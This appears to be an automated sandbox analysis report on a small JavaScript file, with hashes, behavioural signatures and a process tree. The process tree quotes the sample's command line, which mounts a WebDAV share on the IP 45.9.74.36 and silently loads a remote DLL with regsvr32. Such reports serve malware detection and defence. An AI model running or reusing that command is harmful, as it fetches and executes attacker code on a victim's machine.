Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    23-07-2024 06:20

General

  • Target

    82315824293329895.js

  • Size

    5KB

  • MD5

    f9015b30f85f20dcf8a7dd4eb2d36a3e

  • SHA1

    c4122e38e03f9af96445940e303a1b701b47e335

  • SHA256

    ced5df80430592e807a259cc404bb904cd86b4412a69c4478048046d79183b30

  • SHA512

    1bb8fe1f3658776e34c99e6e5c13d24940a515443eb40d6bc82783784520bdda8baeffd950125b75fd9061a221d16341d7568bf06f9c62c12e7baaa6fdd884e0

  • SSDEEP

    96:Kydt1dqauSCSPmh05g0oSCSUKgFgss0MRTAk0egss0MRTb:Ky3qaFCSPmhz03CSUKUMTAknMTb

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\82315824293329895.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2404
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\297991671131869.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3036
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:1972

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads